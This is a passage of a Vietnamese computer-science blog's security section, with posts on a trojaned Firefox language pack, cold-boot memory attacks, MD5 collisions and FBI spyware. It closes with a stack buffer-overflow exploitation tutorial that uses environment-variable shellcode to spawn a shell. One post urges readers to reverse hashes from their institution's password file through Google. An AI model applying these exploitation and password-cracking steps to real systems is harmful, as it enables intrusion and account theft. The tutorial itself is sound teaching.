Đây là một đề tài rất hấp dẫn, xứng đáng một vài luận án tiến sĩ. Có một cái vòng luẩn quẩn: ta muốn dùng máy và thuật toán AI để sản sinh ra các objects mà người dễ nhận ra còn máy thì không. Trong khi đó, mục tiêu cuối cùng của AI lại là tối thiểu hóa khoảng cách giữa máy và người. Do đó, AI càng phát triển thì bài toán này càng khó giải quyết dùng AI. Dân làm mật mã sẽ bảo: dùng một authentication scheme nào đó. Nhưng vấn đề privacy sẽ nảy sinh.

Một tin không liên quan: giáo sư Papert, người bị đụng xe ở Hà Nội hồi 2006 và bất tỉnh cả tháng trời đang … học để trở thành Papert trở lại.

Chuyên mục: Bảo mật và mật mã học & Trí tuệ nhân tạo | Bình luận (3) »

Firefox gói tiếng Việt có Trojan

Ngô Quang Hưng | 08 tháng 05, 2008 | Bản để in Bản để in

Theo Slashdot:

“Wired.com is reporting that the Firefox browser has been unknowingly distributing a trojan with the Firefox Vietnamese language pack. Over 16,000 downloads of the pack occurred since being infected. This highlights a risk on relying on user-submitted Firefox extensions, or a lack of peer-review of the extensions, many of which receive frequent upgrades.”

Dường như là chỉ những ai download cái add-on này kể từ ngày 18 tháng 2 vừa rồi thì mới bị:

Mozilla had no exact statistics on the number of users who had installed the infected Vietnamese language add-on since it was uploaded on February 18, but said that 16,667 people had downloaded the add-on since November 2007.

Hậu quả là thế nào?

The add-on’s author is not suspected of intentionally booby-trapping the file, but instead had his own system infected. That Trojan inserted a banner-ad displaying script into any html file on his system, which included the help files for the language pack.

That meant that anyone installing the language pack would have malicious ad displaying code inside their browser — which could be used for other exploits.

The Vietnamese language pack has been pulled until a clean replacement is uploaded. Existing users should uninstall the add-on in the meantime.

Chuyên mục: Bảo mật và mật mã học | Bình luận »

Blog KHMT gây hại?

Ngô Quang Hưng | 21 tháng 04, 2008 | Bản để in Bản để in

Trích hai thông báo của các bạn Thắng và Little_Cat:

Em vào Blog KHMT bằng Firefox thì bị block với thông báo “Reported Attack Site”. Em vào bằng IE thì Symantec Antivirus quét ra “Downloader”. Anh Hưng lúc nào có thời gian có thể check lại được không ạ :

Ho^m nay em cu~ng tha^’y google.com.vn ca?nh ba’o trang web na`y co’ the^? ga^y ha.i cho ma’y ti’nh :

Tôi không biết nguyên nhân từ đâu ra. Có mấy câu hỏi thế này:

  • Có bạn nào ở nước ngoài mà cũng bị tình trạng này không?
  • “Downloader” nghĩa là gì?

Có khả năng nào wordpress có bugs, sau đó có ai đó tận dụng được bug này để đổi scripts trong base-installation của blog? Tôi không biết giải pháp gì hay hơn là cài một phiên bản wordpress mới.

Cập nhật: tôi vừa update lên phiên bản mới nhất của Wordpress; bác nào thấy vẫn bị vấn đề như kể trên hoặc bất kỳ vấn đề nào khác thì xin cho biết. Đa tạ!

Chuyên mục: Bảo mật và mật mã học | Bình luận (9) »

Tắt điện, bộ nhớ động còn nội dung không?

Ngô Quang Hưng | 26 tháng 02, 2008 | Bản để in Bản để in

Nếu còn thì làm thế nào để lấy nội dung bộ nhớ (sau khi tháo nó ra khỏi mainboard)?

Xem ở đây:

Abstract Contrary to popular assumption, DRAMs used in most modern computers retain their contents for seconds to minutes after power is lost, even at operating temperatures and even if removed from a motherboard. Although DRAMs become less reliable when they are not refreshed, they are not immediately erased, and their contents persist sufficiently for malicious (or forensic) acquisition of usable full-system memory images. We show that this phenomenon limits the ability of an operating system to protect cryptographic key material from an attacker with physical access. We use cold reboots to mount attacks on popular disk encryption systems — BitLocker, FileVault, dm-crypt, and TrueCrypt — using no special devices or materials. We experimentally characterize the extent and predictability of memory remanence and report that remanence times can be increased dramatically with simple techniques. We offer new algorithms for finding cryptographic keys in memory images and for correcting errors caused by bit decay. Though we discuss several strategies for partially mitigating these risks, we know of no simple remedy that would eliminate them.

(biết qua Freedom to Tinker.)

Chuyên mục: Bảo mật và mật mã học | Bình luận (2) »

Đoán đúng kết quả bầu cử tổng thống Mỹ

Ngô Quang Hưng | 12 tháng 12, 2007 | Bản để in Bản để in

… năm 2008, bằng cách tạo MD5-hash collisions, không phải 1 cặp documents collide với nhau mà đến 12 documents (mỗi document cho một ứng viên tổng thống) có hash values giống hệt nhau.

Dành cho các bạn đọc không phải dân máy tính: tờ economist có bài tóm tắt kết quả này.

Chuyên mục: Bảo mật và mật mã học | Bình luận (1) »

Dùng Google để crack password

Ngô Quang Hưng | 20 tháng 11, 2007 | Bản để in Bản để in

Câu chuyện này rất tếu và hay. Một sys admin biết hệ thống bị hacked. Hacker tạo một account. Sys admin không biết password của account nọ. Dĩ nhiên, hắn biết MD5-image của password. Làm thế nào để tìm pre-image của một hash function? Google!

Hah. Một chú khác thấy trò này vui tạo cả một webpage chơi. Nếu bạn muốn thử, gõ password của bạn vào. Website này tạo MD5-image của password và cho bạn một cái link tìm trên Google. Nếu tìm thấy thì password của bạn đã có người dùng, và tìm pre-image chỉ đơn giản là một Google search. Có cả một database của MD5-images để bạn tìm ngược lại các passwords.

Bài học: duyệt qua /etc/password trong hệ thống của trường/sở bạn đang học/làm việc. Tìm pre-images bằng Google. Thế nào cũng tìm ra một vài passwords mà không cần viết script duyệt từ điển gì hết. Bị phạt tôi không chịu trách nhiệm.

Chuyên mục: Bảo mật và mật mã học | Bình luận (4) »

Kẻ cắp gặp bà già

Ngô Quang Hưng | 18 tháng 07, 2007 | Bản để in Bản để in

FBI dùng spyware bắt một chú nhóc

FBI agents trying to track the source of e-mailed bomb threats against a Washington high school last month sent the suspect a secret surveillance program designed to surreptitiously monitor him and report back to a government server, according to an FBI affidavit obtained by Wired News.
…
The software was sent to the owner of an anonymous MySpace profile linked to bomb threats against Timberline High School near Seattle. The code led the FBI to 15-year-old Josh Glazebrook, a student at the school, who on Monday pleaded guilty to making bomb threats, identity theft and felony harassment.

In an affidavit seeking a search warrant to use the software, filed last month in U.S. District Court in the Western District of Washington, FBI agent Norman Sanders describes the software as a “computer and internet protocol address verifier,” or CIPAV.

Việc FBI lây spywares vào máy của các nghi phạm sẽ dẫn đến một song đề: một công ty viết chương trình scan spyware có la toáng lên nếu thấy spyware của FBI không? (Nếu ta thấy chú nào cầm súng vung vẩy ngoài ngã tư thì ta gọi cảnh sát, nhưng nếu chú ấy là FBI thì … chắc là không cần gọi cảnh sát.)

With the FBI in the business of hacking, security companies are in a tight place. Thompson’s LinkScanner product, for example, scans web pages for security exploits, and warns the customer if one is found. How would his company respond if the FBI asked him to turn a blind eye to CIPAV? He says he’s never fielded such a request. “That would put us in a very difficult position,” Thompson says. “I don’t know what I’d say.”

Chuyên mục: Bảo mật và mật mã học | Bình luận »

Kinh tế của bảo mật thông tin

Ngô Quang Hưng | 10 tháng 02, 2007 | Bản để in Bản để in

Bài survey mới (Ross Anderson and Tyler Moore) về kinh tế của bảo mật thông tin. Một phiên bản ngắn hơn đã đăng ở Science. (Biết qua Schneier on Security.)

Chuyên mục: Bảo mật và mật mã học | Bình luận (2) »

Lỗi tràn bộ đệm [11]: dùng biến môi trường

Ngô Quang Hưng | 05 tháng 01, 2007 | Bản để in Bản để in

Lần trước ta đã biết cách khai thác chương trình có buffer dài bằng cách bỏ shellcode vào buffer này dùng dòng lệnh trên *nix và perl. Lần này ta xét đến trường hợp buffer bị tràn rất bé, không đủ để bỏ shellcode vào. (Nếu bỏ vào thì có khả năng shellcode tràn luôn vào return address.) Nhớ lại ví dụ buffer ngắn đã xét:

/*
 * vuln_sb.c : This is a vulnerable program with a short buffer
 */
#include <stdio.h>

int main(int argc, char **argv) {
  char buffer[5];
  if (argv[1] != NULL) {
    strcpy(buffer, argv[1]);
  }
  return 0;
}

Một trong những nơi có thể bỏ được shellcode là các biến môi trường (environment variable). Tùy theo bạn dùng shell gì, tôi dùng bash và có thể đơn giản làm như sau. (Nhớ rằng ex10 là đoạn bytecode gọi một shell:

[NQH] hanoi:~/BO$ export CSE=`perl -e 'print "\x90"x100;'``cat ex10`

Sau khi đặt shellcode vào biến môi trường MSC rồi (MSC viết tắt của “my shellcode” cho gọn), ta phải biết địa chỉ của CSE ở đâu để trỏ return address vào đó. Có vài cách để biết MSC nằm ở địa chỉ nào.

Cách 1: dùng gdb như sau.

[NQH] hanoi:~/BO$ gdb vuln_sb
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) break main
Breakpoint 1 at 0x804838a
(gdb) run
Starting program: /home/hungngo/BO/vuln_sb

Breakpoint 1, 0x0804838a in main ()
(gdb) x/20s $esp
0xbffff811:      ""
0xbffff812:      ""
0xbffff813:      ""
0xbffff814:      "Ï­"
0xbffff817:      "@t\\215\\024@ál\\001@\\001"
0xbffff822:      ""
.... ## a bunch of stuff here
0xbffffeaf:      "MSC=", '\\220' <repeats 100 times>,
"<8b>\\024[1Á\\210C\\a\\215K\\b\\211\\031\\211A
\\0041Ó<97>\\vÍ\\200<88><87><90
><90><90>/bin/shX----++++"
... ## a bunch of stuff here
(gdb) quit
The program is running.  Exit anyway? (y or n) y
[NQH] hanoi:~/BO$

Như vậy, MSC nằm ở địa chỉ 0xbffffeaf. Ta thử trỏ return address vào địa chỉ này:

[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xaf\xfe\xff\xbf"x20'`
Segmentation fault

Không được vì địa chỉ của MSC khi chạy trong môi trường gdb sẽ hơi khác khi chạy một mình một chút. Xê dịch lên xuống (nhớ rằng ta có đoạn NOP-sled bảo kê), và ta có:

[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xbf\xfe\xff\xbf"x20'`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$

Thành công rồi! Dùng gdb thì đơn giản nhưng mất công quá.

Cách 2: Cách dễ hơn là viết một chương trình khác, in ra xem MSC nằm đâu. Trong memory space của chương trình khác này và chương trình vuln_sb.c thì địa chỉ của MSC sẽ không khác nhau là mấy khi chạy trong cùng một shell với cùng bộ biến môi trường. Cái chương trình in ra địa chỉ của MSC có thể viết như sau:

/*
 * my_get_env.c : Print address of the given environment variable
 */
#include <stdlib.h>

int main(int argc, char **argv) {
  char *addr;
  if (argc < 2) {
    printf("Usage: %s <env var name>\n", argv[0]);
  } else {
    addr = getenv(argv[1]);
    if (addr == NULL) {
      printf("The environment variable %s does not exist\\n", argv[1]);
    } else {
      printf("%s is located at %p\\n", argv[1], addr);
    }
  }
  return 0;
}

Chạy thử:

[NQH] hanoi:~/BO$ gcc -g my_get_env.c -o my_get_env
[NQH] hanoi:~/BO$ ./my_get_env MSC
MSC is located at 0xbffffeb0
[NQH] hanoi:~/BO$

Như vậy, MSC nằm ở 0xbffffeb0 đối với my_get_env. MSC đối với vuln_sb cũng sẽ nằm đâu gần đó. Thử xê dịch nó lên một chút là được:

[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xb0\xfe\xff\xbf"x20;'`
Segmentation fault
[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xba\xfe\xff\xbf"x20;'`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$

Nhưng cứ phải thử xê dịch lung tung như vậy thì cũng chưa hay. Ta có thể bắn một phát trúng đích ngay. Chú ý các thí nghiệm sau đây:

[NQH] hanoi:~/BO$ mv my_get_env a
[NQH] hanoi:~/BO$ ./a MSC
MSC is located at 0xbffffec2
[NQH] hanoi:~/BO$ mv a aa
[NQH] hanoi:~/BO$ ./aa MSC
MSC is located at 0xbffffec0
[NQH] hanoi:~/BO$ mv aa aaa
[NQH] hanoi:~/BO$ ./aaa MSC
MSC is located at 0xbffffebe
[NQH] hanoi:~/BO$

Địa chỉ của MSC dường như thay đổi theo độ dài của tên chương trình. Với độ dài tăng từ 1 lên 2 bytes thì địa chỉ giảm từ 0xbffffec2 xuống 0xbffffec0, sau đó tăng lên 3 bytes thì địa chỉ của MSC giảm xuống còn 0xbffffebe. Tính theo thập phân thì c2 xuống c0 là 2 bytes, c0 xuống be là 2 bytes nữa. Như vậy, nếu chương trình vuln_sb có chiều dài 7 bytes thì ta đoán là địa chỉ của MSC sẽ bị giảm thêm 8 bytes nữa từ 0xbffffebe xuống 0xbffffeb7. Thử ngay:

[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xb7\xfe\xff\xbf"x20;'`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$

Tuyệt vời!

Như vậy là cho đến bài viết này, ta đã tạm thời giải quyết được hai vấn đề: (1) vấn đề NULL byte và (2) đặt shellcode ở chỗ nào. Như đã viết, có đến 4 vấn đề cơ bản. Hai vấn đề còn lại là: (3) tránh signature detection, và (4) cái stack không execute được. Trong các bài tới tôi sẽ trình bày một số cách giải quyết các vấn đề này.

Chuyên mục: Bảo mật và mật mã học | Bình luận (4) »